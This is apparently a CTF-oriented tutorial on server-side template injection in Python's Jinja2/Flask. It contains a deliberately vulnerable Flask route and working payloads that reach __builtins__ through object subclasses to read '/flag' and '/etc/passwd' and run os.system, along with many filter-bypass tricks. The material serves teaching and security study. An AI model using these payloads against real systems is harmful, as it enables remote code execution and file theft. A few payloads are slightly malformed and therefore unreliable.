Python SSTI

Server-Side Template Injection

Prerequisites

  • Python 3.11
  • PyCharm (Recommended for debugging)

Basics

What is Server Side Template Render

Template Renderers

tplmap

MakoJinja2Python (code eval)Tornado
NunjucksPugdoTMarko
JavaScript (code eval)EJSRuby (code eval)Slim
ERBSmartyPHP (code eval)Twig
FreemarkerVelocityTwigSmarty
Dust

How to judge

drawing

Jinja2

ExpressionDescription
{{ ... }}输出内容
{% ... %}控制语句
{# ... #}注释

What is SSTI?

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    name = request.args.get('name', 'World')
    template = 'Hello, %s!' % name
    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=True)

Reglance

render_template_string( "Hello %s" % "World") 
render_template_string( "Hello World" )

How about this?

render_template_string(
    "Hello %s"
        % "{{7*7}}" 
) 
render_template_string("Hello {{7*7}}") 
"Hello 49"

Attack Vectors

How to RCE / Get Flag?

  • file (open.read)

    open('/flag').read()
  • subprocess.Popen

    import subprocess
    subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE).stdout.read()
  • os.popen

    import os
    os.popen('ls').read()
  • exec

    exec('print("Hello")')
  • eval

    eval('print("Hello")')

How can we reach that

Class Inheritance

print(dir(...))
classDiagram
    class object
    object : \__class__
    object : \__bases__
    object : \__subclasses__()

    class builtin_function_or_method
    builtin_function_or_method : \__class__
    builtin_function_or_method : \__mro__
    builtin_function_or_method : \__init__

    class module


    object <|-- builtin_function_or_method

<!-- 大致带着说有值得注意的继承关系吧

所有的对象都有 __class__ 属性
万物基于 object, 所以 object 有 __bases__ 属性
我们也可以从 object 获取所有的子类来拿到所有的类
__mro__ -1 可以拿到 object

__init__ 是所有的builtin_function_or_method都有的方法
里面包含了 __globals__, 也可以拿到 __builtins__

-->

mro

subclasses

From object's subclass

  1. Get object class
''.__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
  1. Print all subclasses
object.__subclasses__()
  1. Get all class
object.__subclasses__()[index]
  1. Find interesting classes and its globals
object.__subclasses__()[index].__init__.__globals__
  1. Get __builtins__
object.__subclasses__()[index].__init__.__globals__['__builtins__']

What's in __builtins__

__builtins__: commonly used functions and types

  • eval: evaluate a string as Python code
  • exec: execute a string as Python code
  • open: open a file
  • __import__: import a module

    • os: operating system functions
    • subprocess: spawn new processes

Render Context

context-1
context-2

  • Built-in functions

    • lipsum
    • url_for
  • Configs

    • SECRET_KEY

Filter

filter chain with a variable

variable|filter1|filter2(args)|...

Common Filters

  • int(): 将值转换为int类型;
  • float(): 将值转换为float类型;
  • lower(): 将字符串转换为小写;
  • upper(): 将字符串转换为大写;
  • title(): 把值中的每个单词的首字母都转成大写;
  • capitalize(): 把变量值的首字母转成大写,其余字母转小写;
  • trim(): 截取字符串前面和后面的空白字符;
  • wordcount(): 计算一个长字符串中单词的个数;
  • reverse(): 字符串反转;
  • replace(value,old,new): 替换将old替换为new的字符串;
  • truncate(value,length=255,killwords=False): 截取length长度的字符串;
  • striptags(): 删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
  • escape()或e: 转义字符,会将<、>等符号转义成HTML中的符号,显例:content|escape或content|e;
  • safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义,示例: {{'<em>hello</em>'|safe}}
  • list(): 将变量列成列表;
  • string(): 将变量转换成字符串;
  • join(): 将一个序列中的参数值拼接成字符串;
  • abs(): 返回一个数值的绝对值;
  • first(): 返回一个序列的第一个元素;
  • last(): 返回一个序列的最后一个元素;
  • format(value,arags,*kwargs): 格式化字符串,比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }} 将输出:Helloo? - Foo!
  • length(): 返回一个序列或者字典的长度;
  • sum(): 返回列表内数值的和;
  • sort(): 返回排序后的列表;
  • default(value,default_value,boolean=false): 如果当前变量没有值,则会使用参数中的值来代替,示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代,boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true,也可以使用or来替换

Bypass

How can we use

Bypass []

Use `pop`
Use `__getitem__`
{{''.__class__.__mro__[-1].__subclasses__()[40]}}
{{''.__class__.__mro__[-1].__subclasses__().pop(40)}}
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)}}

Bypass .

{{
''.__class__.__base__.__subclasses__.__getitem__(40)
.__init__.__globals__.__getitem__('__builtins__')
.__getitem__('open')('/flag').read()
}}
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()
|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')
|attr('__getitem__')('__builtins__')
|attr('__getitem__')('open')('/flag')
|attr('read')()
}}

Bypass {{ }}

Use {% %}

Bypass ( )

Use function overwriting

request.__class__.__getitem__=__builtins__.exec

Then if we call request['a']

We are actually calling exec('a')

Bypass Keywords

Inject from request parameters
  • request.args
  • request.values
  • request.cookies

are Flask parameters which can be accessed in template

e.g.

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)("/etc/passwd").read()}}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
Get any strings
  • Using existed string to get char
{{ ('...'|list()).pop(xxx)|string }}
{{ ({ }|select()|string|list()).pop(xxx)|string }}
  • Using + to concat
object.__subclasses__()[59].__init__.__globals__.__builtins__['os'].__dict__['system']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
  • Using ~ to concat
xhx*2~im~xhx*2
  • Using dict to concat
{% set a=dict(o=x,s=xx)|join %}
  • Format string
{{""['{0:c}'['format'](95)+'{0:c}'['format'](95)+'{0:c}'['format'](99)+'{0:c}'['format'](108)+'{0:c}'['format'](97)+'{0:c}'['format'](115)+'{0:c}'['format'](115)+'{0:c}'['format'](95)+'{0:c}'['format'](95)]}}
  • use chr function
{%set chr=[].__class__.__base__.__subclasses__()[xx].__init__.__globals__.__builtins__.chr %}
Other string represent
  • Hex \x41
  • Oct \101
  • Unicode \u0074
  • base64 'X19jbGFzc19f'.decode('base64') python3
  • join "fla".join("/g")
  • slice "glaf"[::-1]
  • lower/upper ["__CLASS__"|lower
  • format "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)
  • replace "__claee__"|replace("ee","ss")
  • reverse "__ssalc__"|reverse

Reload

reload(__builtins__)

Fin.

References